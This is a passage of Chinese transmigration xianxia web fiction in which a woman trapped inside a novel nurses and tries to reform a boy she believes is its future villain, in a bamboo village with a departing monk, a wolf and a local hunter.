宋藏星斜睨沈昭野一眼,嘴里嚼着饭,正琢磨怎么介绍他的身份。 观南忽然开口:“你所习心法,是哪个门派?” 宋藏星握紧筷子,正要脱口替他圆话,嘴还没张,沈昭野已经应了。 “瑶光门。” 宋藏星余光扫过去,见他神态自若,放下心,低头继续扒饭。 观南抬眼看了看他问道:“瑶光门素来以挽月心法,坠星剑法闻名,你修行的,可是挽月?” 沈昭野微微笑:“我年纪尚小,还没接触门派秘法。”说着,他抬眼看了宋藏星一眼。 宋藏星正被一块野菜塞了牙,舌头在齿间捣腾,生怕被人瞧见,压根没注意。 观南嗯了一声,没再追问。 饭桌顿时陷入安静,宋藏星捂着嘴抬眼打量着二人,总觉得气氛有些不对劲。 正胡思乱想,观南忽然放下碗筷:“我云游四方,本就是随缘渡人,来到南明离洲遇上二位,也算天意,过几日我便要继续云游,这几间竹屋届时留给你们,也算结一段善缘。” 宋藏星一愣:“大师要走?”她下意识看向沈昭野,使不得啊,他走了万一熊孩子又起杀心怎么办。 观南笑道:“到时候罡风就麻烦你照顾了。” “大师不带它一起走吗?” 观南摇摇头:“它养好伤,也该回归山林了,你若愿意留它,是它的缘分,它若想走,也不必强留。” 宋藏星看了一眼趴在院中的罡风,心里忽然踏实了些。 她连忙扭头说道:“敢问大师是哪座寺庙高僧?日后有机会,我一定去奉上香火。” 观南道:“因果自有天定,我今日种下善因,来日必结善果,不必如此。” 宋藏星暗自感叹,这佛门弟子果然与众不同,要是能让周楚入了佛门,每日受佛祖熏陶感化,静心修行,哪里还会生歪心思? 正想得出神,一抬眼,撞上沈昭野审视的目光,宋藏星心虚地低下头,端起碗喝了一大口。 用完早饭,沈昭野说要回屋调息,宋藏星洗完碗筷,独自来到观南房前。 还在犹豫要不要敲门,里面传来一声:“进来吧。” 她挂上笑容推门进去,反手将门带上。 “有事?”观南待人总是带着笑意,他虽是个和尚,却从不以贫僧自称,对荤腥也不避讳,年纪不过四十,眼睛却显得格外老成。 宋藏星问:“大师怎么突然要走?是不是我俩给你添麻烦了?” 她记得观南说过很喜欢这里,之前也没提云游的事,今天突然一说,倒让她有些不安。 观南摇头:“时候到了自然要走,与你们无关。”他话锋一转,提到沈昭野,“你同他认识多久了?” “也没多久,十天半个月。”宋藏星也不隐瞒。 观南沉默片刻,转而道:“这一个多月,罡风与你也熟悉不少,只是它终究是狼,还是小心些。它右腿的伤已好得差不多,届时放它回山更为稳妥。” 宋藏星听出他的话外之意,“要是它想留下,我也会好好照顾,不都说狼是狗的祖先嘛,总归都差不多。” 观南看了她一眼,忽然笑了:“随你吧。” 宋藏星咧嘴道:“还有件事我想求大师帮忙。” …… 沈昭野按心经所写重新修炼,仍无法突破,却也不敢再冒进,正思索间,门外响起敲门声。 “门没锁。” 宋藏星推门进来,探头问道:“练得如何?” 沈昭野盘膝而坐,淡淡道:“不怎么样。” 她一本正经地看着他:“那你觉得观南大师怎么样?” 他歪头,一脸狐疑。 “大师佛法高深,不如你拜他为师,出家修行?” 这女人想一出是一出,沈昭野没好气道:“我只答应你在此养伤,伤好就走,你用铜板也没用。” 宋藏星哪舍得真放他走,人还是在自己眼皮底下最妥当,她故作为难:“要不我每日给你念念佛经,帮你静心?大师说这样有助于调息运气,对练功也有好处,怎么样?” 沈昭野道:“除了那本心经,我什么也没有,别白费心思了。” 宋藏星眨眨眼努力显得真诚些:“哎,跟你说多少遍了,我不要你的心经,我就是想照顾你,周楚。” 又是周楚。 沈昭野忽然觉得可笑,从小到大,没人这样对他好过,如今不过是顶替了周楚的名字,便有人对他嘘寒问暖,当宝贝一样捧着,连杀人都能得到原谅。 他想起那年剑修甄试,那些人看他的眼神……凭什么? 一抬眼,她正蹲在床边,歪着脑袋等他回答。 明明只要告诉她,我不是周楚,她就不会再缠着自己,可他就是不愿说。 他想看看,她究竟能为那个周楚做到什么地步。 “你不怕我再对你动手?” 宋藏星往后一缩扬声道:“我有罡风怕什么,你别乱来啊,我真没恶意。” 沈昭野别过头,嘴唇动了动,又抿住。 “真的不行吗?”宋藏星快被自己的夹子音气笑了。 他偏头看了她一眼,竹门半掩,天光从门口漫进来,落在她肩上,轮廓都变得柔和。 “……念佛诵经真的有用?” 见他松口,宋藏星眼睛一亮:“当然有用!我躺床上那会儿,每夜疼得睡不着,全靠大师念经才好受些,要不然真熬不过来。”这她说得倒是实话,语速都变快了。 沈昭野悄悄瞥她:“……伤得很重?”问完又自觉问了句废话。 宋藏星见他这副模样,心里暗喜,忙趁热打铁:“也还好,就是摔断了肋骨,躺在床上动也不能动,想上茅房都得别人帮忙。” 她越说越来劲,索性盘腿坐在地上,仰头讲起养伤时的事:“村里人听说有人从山崖掉下来,都跑来看,有的是真关心,有的就纯属看热闹!我跟动物园的大熊猫似的,被人围着参观!” 沈昭野眉头一挑:“动物园?大熊猫?那是什么?” 宋藏星忙收住嘴:“就是……案板上的鱼,你懂吧?反正很羞耻,可我又不能撵人家走。”她话锋一转,“不过我不怪你。” ——只是半夜骂了你一万遍。 “其实我也能理解你!突然蹦出个不认识的姑姑,还趁你睡觉碰你东西,换谁都会生气。” ——但没人会杀人。 “你有什么不满可以同我讲啊,问都不问就直接下手,万一我这人记仇呢?你现在可真要下地狱了。” 宋藏星强忍着怨气,把话说完,偷偷打量着他,这要是再不给点反应,可真是铁石心肠,无药可救了。 沈昭野没有接话,只是垂下眼,不知在想什么。 宋藏星等了半晌,见他还是一动不动,心里叹了口气,行吧,白说了。 她沮丧地耸耸肩,刚要起身。 “是我误会你了,对不住。” 宋藏星没想到他会这么干脆地认错,她本想回一句“道歉有用还要警察做什么”,话到嘴边,又咽了下去。 “那……今晚我念经给你听?” 沈昭野道:“我问过观南再说。” 宋藏星微笑道:“当然,当然。”死小孩,还是信不过自己。 观南受人所托自然称是,还将随身带的几本佛经尽数赠予沈昭野。 “这些多为本门所著典籍,你静心翻阅,自能助益修行。” 沈昭野行礼道:“多谢大师,大师过几日就要走了吗?” < p>观南笑道:“你应该也不想我留下。” 沈昭野默不作声。 观南忽然开口:“那日她从崖上坠落,是你所为?” 沈昭野手指微紧,抬眼看他:“大师不如去问她。” 观南没有追问,只是说:“你倒是和我年轻时很像。”语气平淡,听不出是褒是贬。 他从袖中取出一本薄薄的册子,递过去:“这门心法讲究收束心神,你修炼挽月时若觉气息不稳,可参详一二。” 沈昭野接过,低头瞥了一眼封面,并无名字:“我修炼的不是挽月。” 观南不以为意,继续问道:“方便知道你真名吗?” 沈昭野面不改色回道:“周楚啊。” 观南笑了笑,点点头。 …… 观南离开了,一句话也没留,更不曾告别。 观南是她来到这个世界遇到的第一个好人,虽然两个人说话的次数屈指可数,可她还是有些伤感。 夜里,罡风嚎了整整一宿,她躺在床上听着,心里更不是滋味。 天亮时,它却还是老老实实在院子里待着。 宋藏星拿起小板凳坐到它身旁,罡风趴在她脚边,耳朵耷拉着,倒像条狗。 “他把你托付给我了。”宋藏星摸摸罡风的脑袋,罡风发出一声呜咽,“你要是什么时候想走了,我也不拦着。” 沈昭野整日闷在屋里研究心经,宋藏星也不去打扰,主动承担起做饭烧菜的活。 清晨上山摘些草药同王猎户交换禽肉,夜里临睡前,她就揣着一本佛经,走到沈昭野房间,就着蜡烛,一句句念给他听。 她一心想要感化这个日后可能走上歪路的少年,可往往念不了两页自己先困得头点地,佛法听进去多少不知道,沈昭野修炼的心法倒是突破到二层。 “打得过罡风吗?”听到这个消息的宋藏星手捏着经书,心里发颤。 沈昭野瞥她一眼:“挽月心法是剑修用的,我眼下又没剑,只是巩固根基而已。” 宋藏星松了口气。 “今天的鸽子汤很好喝。”沈昭野冷不丁来了一句。 宋藏星一愣,起早贪黑做了一个多月饭,这小子吃完从不吭声,今天太阳打西边出来了? 她拼命忍住上扬的嘴角:“……所以呢?” “明天还想喝。” 要不是被他这副乖巧的模样骗过,宋藏星险些以为他已经被自己度化。 “那得看人家明日抓什么。”她眼珠一转,“不过王猎户说近来鸽子不好抓了。” “明日采药我陪你去。” 宋藏星心中大喜,随即眯起眼:“不会想着趁机打晕我逃跑吧?” “我要想走,现在就能走。”沈昭野见她这副紧张模样,心里莫名舒坦。 他眉眼一扬,带着点稚气的得意,“答应你养好伤再走,我岂是食言之人。” 宋藏星险些忘了他还有内伤在身,忙问道:“都快一个月了,还没好呢?” 沈昭野蹙眉:“伤好了我就要走了,你不该盼着我好得慢些?” 宋藏星失笑道:“伤不好难受的是你,我虽然希望你跟着我,可也不想你难受啊。” 沈昭野别过脸,没理她。 宋藏星凑过去,语气夸张道:“你还会抓鸽子呢!” 拉近关系第一步,无脑夸就对了。 “不会。” 宋藏星笑容当即垮掉。 沈昭野慢悠悠补了一句,“想趁机讨好我?” 这死小孩,不该聪明的时候瞎聪明,宋藏星也不否认:“对啊,谁让我是你姑姑呢,就想对你好。” 沈昭野向后挪了挪,移开视线:“出去吧,我要歇息了,明日上山叫我。” 宋藏星吹了灯,抱着经书往外走,到门口又回头,补了一句:“罡风最近心情不好,你夜里没事别出门。” “……知道了。” 门关上,沈昭野在黑暗中躺了一会儿,翻了个身,把脸埋进枕头里。 许是突破了二层心情太好,沈昭野这一夜睡得极为安稳,醒来时天已大亮,院里只有罡风在踱步。 他不敢出去,只得站在屋檐下向远处张望。 看了好一会儿,才见宋藏星从山上下来,王猎户走在她旁边,两人不知说着什么,她仰头一笑,恰好接住林间洒落的日光。 沈昭野脸色一沉,转身回了屋。 5.心比天高身似萍 宋藏星手拎着王猎户送的两只野鸽,大摇大摆地走进院子,像个发了横财的暴发户。 周楚这小子,昨天还信誓旦旦说跟她一起上山采药,结果今天早上睡得跟死猪一样。 宋藏星生怕叫醒后,他起床气一犯又对自己心生歹意,便没喊他,自己上了山。 路上碰见王猎户,她不过随口提了句周楚爱喝鸽子汤,王猎户爽快地一拍大腿,非说孩子喜欢,难抓也得抓。 她看了看手里的野鸽,这下周楚得感动坏了吧。 摸完罡风的脑袋,她径直推门而入,竹门狭窄,她立在门口恰好挡住大半天光,原本不怎么亮堂的屋内更加昏暗,像是积了满屋的雨。 沈昭野静坐在桌前,周身气压低沉,一眼便知心情坏到了极点。 少爷怎么又不爱笑了。 宋藏星不敢怠慢,拎着野鸽上前道:“看看这是什么?今晚给你炖个野山菌鸽子汤怎么样?” 沈昭野看都没看:“不怎么样。” 宋藏星坐到他身旁,强行笑道:“怎么了?没睡好?” “不是答应叫上我一起吗?” 宋藏星悬着的心松了一半,她解释道:“我不是看你难得睡得这么香,而且我跟王猎户说你喜欢喝鸽子汤,人家二话没说就去给你抓了。” 沈昭野好似没听到,又问了一遍: “不是答应叫上我一起吗?” 宋藏星耐心有限,没好气道:“你不是在睡觉吗,我想着你伤还没好,不如多休息一会,这也不行吗?” 沈昭野也不知道自己到底在气什么,可她的这些解释并不能让他好受,“我昨天说了让你叫我,答应别人的事怎么能出尔反尔。” 苍天啊,他怎么有脸说出这种话,还教育起自己来了。 宋藏星内心翻了个白眼,嘴上敷衍道:“行行行,我的错,下次你就是睡死我也把你拖起来,行了吧?” 沈昭野没应声,脸色也没好多少。 宋藏星见他这副模样,心里直叹气,收了收表情,郑重道:“好了,是我错了,我不该只顾考虑你的身体,忘了咱俩的约定,我以后一定以你的意愿为主,答应的事一定做到。” 沈昭野抿了抿嘴,目光落到桌上的野鸽,“你同那个王猎户关系很好?” “那是自然,我们可是战略合作伙伴。” 沈昭野早已习惯她的胡言乱语,不作理会:“既然这么照顾我们,我是不是该登门道个谢?” 宋藏星眼睛一亮,双手握住沈昭野的手,重重点头:“当然!你要想,我这会儿就带你去,知恩图报是美德,我们江湖儿女……” 沈昭野强忍着听她唠叨完一大串道理。 宋藏星在心中默念我佛慈悲,这段日子她找着由头就给他上价值,起初他还不耐烦,如今居然能这么有耐心的听完。 这是周楚向善的一小步,是她回家的一大步啊! 她二话没说,带着晒干的药草,拎着他便去了王猎户家。 白溪村不大,七八户人家,彼此常有来往,观南在时,常有村民来看病,他一走,院里又养着只狼,来的人便少了。 宋藏星倒也省了应酬,只是山上讨生活,总得有个照应,和王猎户稍稍熟络些,至于其他人,也就每月那几天,实在没法子,才厚着脸皮找刘大娘讨些月事带。 王猎户家门口。 “王大哥,我带周楚来看你了。”宋藏星站在门口喊完,又回头叮嘱沈昭野:“待会儿别摆脸色,我惯着你,别人可不惯着。” 沈昭野敷衍地点点头,打量着眼前的竹院,白溪村紧靠大片竹林,房屋大都是竹筑。 他的目光跳过矮墙,落到院中灶台旁放着的弓箭和刀斧。 王猎户开门,见是宋藏星,忙擦了擦手,耳根微红:“藏星……你怎么突然来了?” 沈昭野眼睛一眯,旋即恢复如常。 宋藏星还未开口,沈昭野从她身后探出头来:“王师傅,我来谢谢你送我的鸽子。” 他走上前乖乖行了个礼:“这一个多月一直在养伤,没来看您,真是过意不去,今日得空,就叫姑姑带我来了。” 宋藏星瞪着沈昭野,眼珠子快掉出来,这谁?谁把她家混世魔王给调换了? 王猎户愣了下,忙摆手:“害,客气啥!快进屋,晌午在我这儿吃,我还打了只野兔。” “好。”沈昭野笑得天真无邪,也不再客气径直迈入院中。 王猎户凑近宋藏星,压低声音:“你不是说你家那小子难伺候?我看着挺好啊,多懂事。” 宋藏星讪讪一笑,望着那个已经走进院中的背影,咬牙切齿。 从进屋到坐下等着吃饭,沈昭野都表现得特别乖巧,不仅对她这个姑姑格外亲切,对王猎户也是见什么夸什么。 “王师傅,这兽皮是您打的?真厉害。”他摸着墙上那张陈年兽皮,语气真诚。 王猎户咧嘴笑:“早几年的了。” 沈昭野又对着屋里的布置点评了几句。 王猎户被夸得合不拢嘴,拎着野兔欢天喜地去了灶台,说要大显身手。 沈昭野顺势坐到桌前,单手支头,看向宋藏星:“看我做什么。” 宋藏星伸出食指戳向他,眯起眼:“又在打什么鬼主意?” 沈昭野伸手把她的手指拨开,一本正经道:“姑姑不是教过我,用手指着别人不合礼。” “别岔开话。” 宋藏星正欲追问,王猎户已经端菜上桌:“快尝尝,我跟你姑姑谁手艺更好?” 沈昭野夹了一口,放到嘴里嚼了嚼,点头:“好吃。” 王猎户笑道:“回头我教给你姑姑,让她天天做给你吃。” 宋藏星嘴角一抽。 “姑姑每日采药做饭已经很辛苦了。”沈昭野看了她一眼,转向王猎户,“王师傅,我能跟你学打猎吗?眼下我伤好多了,也想上山帮忙。” 原来在这儿等着呢,宋藏星斜睨他:“不行,你还小,想上山我陪你去。” “那你叫我了吗?” 宋藏星一噎,“我明天带你去。” 王猎户起身左右打量了下沈昭野,又捏了捏他的肩膀,甚是满意道:“这小子看着瘦,倒有把子力气。”又转向宋藏星,“你也别太惯着他,男人嘛,趁早历练历练,要不然将来连媳妇都抱不动。” 宋藏星心想,他能娶到媳妇才怪,嘴上却摇头:“王大哥,我是不想给你添麻烦。” “不麻烦,不麻烦,我正缺个徒弟,你也知道最近山上不好打到猎物,多个帮手我也省心。” 王猎户似是想到什么,接着道:“对了,前阵子我跟你说的那事,你考虑得咋样了?要是周楚能帮忙打猎,也能换不少钱,他还小,总不能一直窝在咱们这小地方,早晚得自己出去闯闯。” 沈昭野低头吃着碗里的饭,嘴角微微一弯。 宋藏星知道他说的是拿草药去镇上卖,可她根本不想出村,生怕周楚卷入什么纷争,自己 难以控制,便说再等等。 至于让周楚跟着打猎的事,她犹豫了一下,还是点了头。 回到家,宋藏星一转身挡在他前面:“去可以,但不许伤人,王猎户人很好,就是随性了点,他要是哪句说得不中听,你怼回去便是,别一生气,把人家也推下去了。” 沈昭野蹙了蹙眉,有些不悦,还是点头:“好。” “还有,别想趁机逃跑。”宋藏星这话说得自己都没底气。 这些天他越来越生龙活虎,早不是当初那个蔫巴巴的少年,再这样下去,罡风都管不住他,还是得他心甘情愿留下才行。 沈昭野笑道:“我要想走你也拦不住啊。”他瞥了眼院里的罡风,眼里已没了当初的害怕。 宋藏星难得收起玩笑,认真看着他:“我知道拦不住你,可外面真的很危险,你不信我,总该清楚自己几斤几两吧,就你这武功,出去报仇就是送死,瑶光门已经没了,在这儿至少还有人给你做饭。” 沈昭野摩挲着指腹,听着她一句接一句地念叨,像风吹过水面,一圈一圈地漾开。 他从前喜欢独自躺在芦苇荡的破船上,头顶是漫天繁星,四周只有水声和风声,手中空无一物,却觉得满得快要溢出来。 像那晚的水声漫过耳畔,有什么东西正悄悄地涨满胸口。 “好,我答应你。” “真的?”宋藏星抬头绽开笑意,“那你明天想吃什么?我给你做。” 沈昭野想了想:“刚才路过一户人家,门口晒着地瓜干,打猎时可以带着当干粮。” “没问题,我这就去问问。”她说着倒退着往外跑,面朝着他,从怀里摸出一枚铜板晃了晃,“不准说话不算话!” 恍惚间,沈昭野竟也跟着笑了起来。 直到身影消失在视线范围。 “三哥,他们太欺负人了!压根没把咱们当回事,什么破剑修,不做了!我们回去同大家自由自在多好!” 少女刺耳的话不合时宜地在脑海响起,沈昭野笑容敛去,随手捡起墙角的竹条,指向一旁的罡风。 “我知道你看我不顺眼,打一架如何?” 罡风低吼着起身,却迟迟不敢上前。 沈昭野闭上眼,体内挽月心法自行运转,一股真气从丹田猛冲上来,横冲直撞,霸道得几乎要撕裂经脉。 他咬紧牙关,耳畔响起宋藏星念经的声音,那些经文一字一句,像水一样漫过来,体内自生的柔和气息缠上那股暴戾,竟一点点将其捋顺。 他想到观南赠予的心经,心中默念了几句,两股真气在经脉中缠绕,融合,渐渐归于平静。 观南……罡风……他来不及细想,再睁眼时,眼中已是一片清明:“放心,生死自负,我不会告状。” 罡风嘶吼着扑上前。 ...... 宋藏星低头往回走,手里捏着那几片地瓜干,晒地瓜干的大娘说,这地瓜村里没有,是她去镇上换的。 镇上......她脚步一停,她实在不想跟外界有任何牵扯,要不换个别的东西哄他?可那位大少爷好不容易提个要求,要是不给,估计又要闹脾气,说她言而无信。 她叹了口气,推开门,僵在原地。 院里罡风正将沈昭野压在地上,死死咬住他的肩膀,甩头撕扯。 沈昭野半张脸都是血,右手握着竹条横在胸前,被狼爪踩住动弹不得,左臂衣袖早已被撕烂,血顺着手肘往下淌。 “周楚!” 6.多情总被无情恼 只是出了个门,这小子就整出这么大动静,宋藏星把地瓜干往地上一扔,冲上去将他从罡风身下扯出来,吼道:“不要命了!把我支开就是想趁机逃跑吗?” 她又抬头瞪向罡风:“晚上还想不想吃肉了?拦着不让他跑就行了,谁让你咬这么狠的?” 罡风喉咙滚出一声低吼,随即又压了下去,耳朵耷拉着走到墙角趴下。 “没想逃跑,是我要跟他比试的。”沈昭野躺在她怀里,脸上的血淌进眼睛,刺得他睁不开。 宋藏星胡乱抬手擦了擦他的脸,确认没什么大伤后松了口气,手一放,起身就往屋里走。 沈昭野没了支撑,后脑勺磕在地上,闷哼一声。 他起身跟进去,站在门口:“我只是想试试这心法到底如何。” 宋藏星没看他,也没说话。 沈昭野按着左臂缓慢移到她面前:“你在生气吗?” “没有啊。”宋藏星回答得飞快,“我气什么,你要是再受伤岂不是更走不了了,哦不对,我忘了,你如今能耐大了,都敢同罡风干架了,我也拦不住你。” 说完,她别过脸,不再看他。 屋里安静下来,只剩罡风在墙角小声哼唧。 宋藏星坐了一会儿,余光扫见他手臂上的血还在往下淌。 她暗自叹气,起身去柜子里翻了块干净的布,又拿出观南留下的药瓶,一并放到桌上。 转身端了盆清水,坐到他旁边,拉过他的手臂,用布蘸着清水,轻轻擦去伤口周围的血渍,全程眉头紧皱一句话不说。 药粉撒在胳膊上,火辣辣地疼。沈昭野绷紧身体,却没出声,只是盯着她低垂的眉眼,嘴角不自觉上扬。 处理完伤口,宋藏星顺手把用过的布扔到一边,坐直身子不看他。 沈昭野向她身侧挪了挪道:“我想成为剑修。” 宋藏星眼都没抬,没好气道:“你不是已经在练剑了吗?难道还不算剑修啊?” 沈昭野有些意外:“你是北俱芦洲的人?” 宋藏星心里懊恼,怎么又说错话了,她不自在地点点头。 沈昭野目光在她脸上停了停,她每次心虚,都只会点头附和,不敢看人。 连来历也是假的吗?他收回视线,继续道:“在南明离洲,练剑是普通人唯一的出路,就像你们北俱芦洲崇尚拳意,我们这里追求的是剑道,每年三月份,听剑阁会联合各大门派举行剑修甄试,通过考核才能成为剑修。” 来到这里几个月了,宋藏星还是第一次听到关于这个世界的介绍,不由竖起耳朵听得认真。 “不过也只是有学剑的资格而已,至于能不能进门派,还要看自身实力。” 宋藏星不敢再多问只说:“你不是已经在瑶光门了吗?” 沈昭野垂下眼:“我其实不是瑶光门的正式弟子,我爹早年得罪了门中长老,被逐出师门。” 他飞快扫过宋藏星的脸,见她没什么反应,便继续说,“我托他的关系勉强留在那里打杂,偷偷学剑,还没参加过剑道甄试。” 宋藏星顺口问道:“该不会你那些师兄师姐经常欺负你?” 沈昭野一愣,随即点头道:“因为我还没有成为剑修,自然在门派不受待见。” 怪不得,怪不得,妥妥的主角天崩开局啊,她转念一想,又觉得不对:“你不受待见,挽月心法怎么会到你手里?” 沈昭野道:“当时门派一片混乱,门主情急之下塞给我的。” 宋藏星总觉得哪里怪怪的,但也没多想,又问道:“所以你想成为剑修然后复仇?” 沈昭野摇头,语气认真道:“我对复仇不感兴趣,只想成为剑修。” 他不说宋藏星也能察觉出来,从山上下来这么久,不见他有半点伤感,起初还以为是内敛,现在看估计对门派也没多少感情。 她正色道:“以前你可不会跟我说这么多,有事求我?” 沈昭野笑道:“我想和罡风比试,挽月心法我已到二层,眼下它是最好的对手。” 宋藏星想也没想直接拒绝。 “你是担心我会像今天这样再次受伤吗?” 宋藏星摇摇头:“我是担心你哪天气不过给罡风下毒。” 沈昭野深吸一口气道:“……我保证不会再随意杀生。” 宋藏星很想再次摇头,可拒绝他,他只会更逆反,答应他,至少还能在旁边看着,更何况他真要走自己也拦不住,还不如做个顺水人情。 “行,我答应你。”她想了想,“但是点到为止,不准伤害罡风,而且得看罡风愿不愿意。” 沈昭野没想到她会答应得这么快,心中还在盘算着其他法子,一时有些反应不过来。 “怎么了?”宋藏星看他,“还以为你会高兴。” 沈昭野收回思绪,试探道:“姑姑可有什么想要的?或者想得到的东西?” 宋藏星语重心长道:“我希望你做个好人,平平安安过完这一生,就是我最大的愿望。” 事到如今,还不肯对自己说实话吗? 他收了笑,声音也冷下来:“好,我答应姑姑。” 宋藏星没想到的是罡风竟愿意陪沈昭野磨练,还有些乐在其中,难道这就是所谓的狼性? 沈昭野每日被罡风扑得毫无还手之力,夜里泡药浴疗伤,伤好了又裂,裂了再好,隔三差五还要跟王猎户上山打猎。 反反复复,没一日消停。 宋藏星望着他龇牙咧嘴往药桶里钻的身影,到嘴边的抱怨又咽了回去,还好守着大山,药草多,要不然她可没银子供他这么挥霍。 夜里,她照例隔着竹帘为他念诵佛经,药浴的热气从帘缝里钻出来,带着草药的苦味,夹杂着他偶尔拨动药汤的水声。 “天天这么折腾,不累吗?” 水声忽地停了。 “比这累的事多了去。”他的声音隔着水雾传来,“这算什么。” 宋藏星翻了个白眼,小小年纪,倒学人家强说愁,她翻过一页,继续往下念。 也不知从哪天起,他泡药浴的次数越来越少,身上的伤也渐渐不见,有时还能看见他同罡风一起在院里晒太阳。 他对自己的态度也好了许多,不仅主动揽下晾药草的活,每日清晨把簸箕里的草药摆得整整齐齐,也开始习惯喊她姑姑。 吃饭时,宋藏星忽然发觉他额前的碎发已经盖过了眉梢。 沈昭野忽然抬头,撞上她的目光:“怎么又盯着我看?” 宋藏星一愣,别过脸:“狼吞虎咽,也不怕噎着。” 沈昭野笑道:“那还不是因为姑姑做的好吃。” 宋藏星没接话,心里却忽然有些不是滋味,自己为了完成任务,是不是太自私了?只想把他拴在身边,对他确实不公平。 如今他也不再想着离开,若练剑能让他开心,也没什么不好。 刚过晌午,宋藏星来到王猎户家。 “你想去镇上?”王猎户正在收拾东西,抬头看她,眼里闪过一丝意外,“怎么突然想通了?” 宋藏星笑道:“周楚最近辛苦得很,我想着送他一把剑。” 王猎户咧嘴笑道:“你一开始不还反对他学剑吗?” 宋藏星想起这些日子他每天练到虚脱又咬牙坚持的样子:“他喜欢也拦不住。” 王猎户看了她一眼,没再多问,转身去拿背篓,随口说道:“那孩子前几天也跟我打听过去镇上的路,年轻人嘛,总想出去闯闯。” 宋藏星意外道:“他向你打听出村的事了?” “孩子长大了,肯定都想去外面闯闯,你也别总绊着他。”王猎户说着瞥了眼宋藏星,又补了一句,“……也该为自己考虑考虑。” 宋藏星心不在焉地嗯了一声,没接话,跟着出了门。 从白溪村出来向南三四里便是官道,两人坐上去镇上的驴车,一次两文钱,宋藏星不舍得花那两个铜板,只好跟王猎户借了几文,说到镇上卖了药草就还,王猎户爽快地答应了。 宋藏星正盘算着到了镇上该怎么摆摊叫卖,王猎户笑道:“不用那么麻烦,咱们采的草药和兽皮,镇上回春铺统一收。” “这么好?那省了好多事。” “是啊,在咱们云中门,门主订的规矩,啥都安排得妥妥的,谁也吃不了亏。” 宋藏星一路闲聊,才知道南明离洲没有官府,也没有皇帝,由各大门派组成的听剑阁说了算 。 四大门派各管一片,互不干涉,至于其他的,她怕露了马脚,没敢多问。 到了回春铺,宋藏星背来的药草换了三十个铜板,王猎户又从怀里摸出五十文,塞给她:“这是周楚跟着我打猎的那份儿。” “怎么这么多?”宋藏星一愣。 王猎户挠挠头,眼神飘了一下:“不多不多,兽皮本来就要比药草贵,你就拿着吧。” 宋藏星没多想,收下后便说想去武器铺看看。 王猎户笑道:“去瞧瞧可以,不过你这几个铜板,估摸着连把剑鞘都买不起。” 宋藏星不以为意,心想能有多贵。 两人来到百炼堂,四面墙上都挂满了剑,长短不一,有的剑鞘嵌着玉石,有的光秃秃啥也没有。 王猎户道:“买剑得有剑修凭证,寻常人只能买木剑。” 木剑便宜,正合她意。 宋藏星转悠到一把木剑前,低头看了眼标价,愕然道: “居然要五百文!” “才十两银子!” 两道声音几乎同时落地。 宋藏星没好气地瞪过去,只见一位腰悬青玉佩,头别红木簪的白衣少年正对着店里的伙计嚷嚷。 那人长得倒是好看,剑眉斜飞,双眸明亮,眉间点着一粒朱砂,只是脖子上平白添着一道旧疤。 “你们云中门不是号称宝剑多如牛毛吗?”他叉着腰,“我大老远跑来,想给朋友挑把生辰礼,结果最贵的才十两银子?把好的拿出来!” 宋藏星不愿惹事,拉着王猎户就往外走。 身后那人还在喊:“哎呀!小翠,你别拦我!我非跟他们说道说道,我朋友可是大名鼎鼎的雨花剑叶清然!你们拿十两银子的货糊弄谁呢?叫你们掌柜的来!少爷我有的是钱!” 宋藏星皱了皱眉,雨花剑?这名字怎么这么耳熟,可偏偏眼下想不起在哪儿听过。 她没再细想,快步离开了百炼堂。 ...... 白溪村,竹苑内。 沈昭野坐在院中,手里拿着刚片好的禽肉,一片一片喂给罡风,眼神却时不时瞟向门口。 也不知去哪了还不回来,他抿了抿嘴,低声道:“如今倒是一点都不担心,我会不辞而别。” 他又扯下一片肉递到罡风嘴边,“不过我确实要走了,这阵子辛苦你陪我。” 罡风低吼了一声。 沈昭野轻笑道:“如今你可拦不住我。” 他拍了拍手,心情似是不错:“也不会很快,走之前,帮她再赚点银子,算是还她人情。” 其实这段日子他过得很自在,可明年的剑修甄试报名在即,他必须尽早突破心法三层,如今上山打猎,跟罡风搏斗,已经没什么长进了。 沈昭野低头看它,忽然问:“我要是走了,她会不会很伤心?” 罡风没理他。 他嘴角微扬,带着得意:“她要是想跟着我,我也不拦着,反正我不会在这儿窝一辈子。” 正说着罡风忽地起身冲门外嚎叫。 沈昭野抬头望去,眼睛一亮,目光一偏,又看到宋藏星身旁阴魂不散的王猎户。 脸上的喜悦瞬间消散,本想转身回屋,脚步一转,朝外走去。 ...... 宋藏星一路上都在想那个名字,王猎户的话一句也没听进去。 走到家门口她才猛地回过神,这本书不就叫《雨花洗剑录》吗?方才那人说的雨花剑叶清然,难道就是原著男主? 想到这儿,她开始惴惴不安,如今男主朋友在这儿,他本人说不定也在附近,万一哪天周楚去镇上,两个人碰上……不行,绝不能让他们见面。 可周楚现在一心扑在练剑上,她要是直接拦着,他准不乐意,思来想去,还是先稳住他,让他再多待一阵子。 正想得出神,脚下一个悬空,宋藏星身子猛地往前一栽。 “小心!”王猎户眼疾手快,一把扶住她胳膊,还没站稳,就听见身前一道熟悉的声音,冷冷地响起:“姑姑。” 宋藏星抬头,沈昭野不知何时已走到近前。 他扫了眼王猎户搭在她手臂上的手,笑着问:“去哪儿了?” 7.人生何处不狗血 宋藏星上前笑道:“去镇上换了点铜板。”她扬了扬手中的地瓜,“之前答应你的,我可没忘。” 沈昭野接过地瓜干,顺势侧身一步,不声不响地将两人隔开:“晒成地瓜干得好久,怎么不买现成的?” 宋藏星蹙眉:“现成的贵呀。” 沈昭野咧嘴一笑,点点头,又偏头瞥了眼还跟在旁边的王猎户,温声道:“王师傅,你家在那边。” 王猎户本想同宋藏星再说几句,抬眼却撞上沈昭野那双含笑的眼,心里莫名发怵,这少年明明说自己没打过猎,可每次随他上山弯弓射鸟时的姿势和眼神,怎么都不像个生手。 宋藏星忽然想起什么,扯过沈昭野的胳膊,凑近道:“对了,王大哥还给了咱们五十文钱,说是你打猎的报酬,你可得谢谢人家。” 王猎户笑道:“孩子勤快,这是他应得的,说什么谢不谢的。” 沈昭野嘴角微微一扯,算是笑了,没接话。 宋藏星顺口道:“王大哥,要不晚上来家里吃?昨天抓的山鸡还没吃呢。” 王猎户眼睛一亮:“那敢情好——” 话没说完,被沈昭野出声打断:“山鸡没了,被罡风吃完了。” 宋藏星一愣:“全吃了?” “嗯。”沈昭野点头,“我拦了,没拦住。” 宋藏星张了张嘴,一时不知该说什么,这败家玩意儿! 王猎户看了看沈昭野,又看了看宋藏星,干笑两声:“那……下次吧,下次再说。” 一路到家,沈昭野都没再说一句话,宋藏星也懒得理他,少爷的性子,下人的命。 她兀自蹲在院里,伸着手指戳着罡风的脑袋:“我平时是少让你吃肉了?那么大一只山鸡,一口不给我留?” 罡风委屈地嚎了一嗓子。 